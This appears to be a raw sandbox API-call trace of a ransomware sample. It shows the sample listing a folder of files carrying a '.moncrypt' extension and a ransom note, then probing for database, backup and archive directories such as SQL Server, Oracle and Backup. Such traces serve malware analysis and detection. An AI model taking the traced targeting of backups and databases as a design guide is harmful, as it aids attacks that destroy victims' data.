FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.435] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.435] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.435] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.435] GlobalUnlock (hMem=0x44000c) returned 0 [0052.435] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.435] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.435] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.435] GlobalUnlock (hMem=0x44000c) returned 0 [0052.435] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.435] GlobalUnlock (hMem=0x440004) returned 0 [0052.435] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.435] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406da320, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x406da320, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x406da320, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0052.436] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.436] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.436] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.436] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.436] GlobalUnlock (hMem=0x440004) returned 0 [0052.436] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.436] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.436] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.436] GlobalUnlock (hMem=0x440004) returned 0 [0052.436] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.436] GlobalUnlock (hMem=0x44000c) returned 0 [0052.436] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.436] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc70e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM.moncrypt", cAlternateFileName="NETWOR~1.MON")) returned 1 [0052.436] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.436] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.436] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.436] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.436] GlobalUnlock (hMem=0x44000c) returned 0 [0052.436] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.436] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.436] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.436] GlobalUnlock (hMem=0x44000c) returned 0 [0052.436] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.436] GlobalUnlock (hMem=0x440004) returned 0 [0052.436] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.436] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0052.437] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.437] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.437] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.437] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.437] GlobalUnlock (hMem=0x440004) returned 0 [0052.437] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.437] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.437] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.437] GlobalUnlock (hMem=0x440004) returned 0 [0052.437] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.437] GlobalUnlock (hMem=0x44000c) returned 0 [0052.437] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.437] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.437] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.437] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.437] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.437] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.437] GlobalUnlock (hMem=0x44000c) returned 0 [0052.437] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.437] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.437] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.437] GlobalUnlock (hMem=0x44000c) returned 0 [0052.437] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.437] GlobalUnlock (hMem=0x440004) returned 0 [0052.437] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.437] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2df5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0052.437] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.438] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.438] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.438] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.438] GlobalUnlock (hMem=0x440004) returned 0 [0052.438] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.438] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.438] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.438] GlobalUnlock (hMem=0x440004) returned 0 [0052.438] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.438] GlobalUnlock (hMem=0x44000c) returned 0 [0052.438] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.438] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2df5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0052.438] GetLastError () returned 0x12 [0052.438] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.438] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0052.438] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0052.438] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0052.438] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.438] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.439] GlobalUnlock (hMem=0x44000c) returned 0 [0052.439] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.439] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.439] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.439] GlobalUnlock (hMem=0x44000c) returned 0 [0052.439] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.439] GlobalUnlock (hMem=0x440004) returned 0 [0052.439] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.439] GlobalLock (hMem=0x440004) returned 0x550170 [0052.439] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.439] GlobalUnlock (hMem=0x440004) returned 0 [0052.439] GlobalLock (hMem=0x440004) returned 0x550170 [0052.439] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.439] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.439] GlobalUnlock (hMem=0x440004) returned 0 [0052.439] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.439] GlobalUnlock (hMem=0x44000c) returned 0 [0052.439] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.439] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS", len=0x3f | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS") returned 1 [0052.439] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.439] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.439] GlobalUnlock (hMem=0x44000c) returned 0 [0052.439] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.439] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.439] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.439] GlobalUnlock (hMem=0x44000c) returned 0 [0052.440] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.440] GlobalUnlock (hMem=0x440004) returned 0 [0052.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a348, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夐U壤U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0052.441] GetLastError () returned 0x3 [0052.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0052.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0052.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a348, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0052.442] GetLastError () returned 0x2 [0052.442] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0052.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a348, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뾴R企@\x18?T\x18;")) returned 0xffffffff [0052.442] GetLastError () returned 0x2 [0052.442] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0052.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.443] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a348, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@奌U企@\x18?T\x18D")) returned 0xffffffff [0052.443] GetLastError () returned 0x2 [0052.443] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0052.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.443] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a348, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18뾴R\x18j")) returned 0xffffffff [0052.443] GetLastError () returned 0x2 [0052.443] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.444] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a348, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@奌U企@\x18?T\x18q")) returned 0xffffffff [0052.444] GetLastError () returned 0x2 [0052.444] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.444] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뾰RP") returned 6 [0052.444] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a348, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@몤R企@\x18?T\x18y")) returned 0xffffffff [0052.445] GetLastError () returned 0x2 [0052.445] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.445] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0052.445] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.445] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a348, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0052.445] GetLastError () returned 0x2 [0052.445] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.445] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0052.445] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.446] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a348, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@奌U企@\x18?T\x18\x88")) returned 0xffffffff [0052.446] GetLastError () returned 0x2 [0052.446] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0052.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.446] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a348, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@몤R企@\x18?T\x18\x8f")) returned 0xffffffff [0052.446] GetLastError () returned 0x2 [0052.446] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0052.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.447] 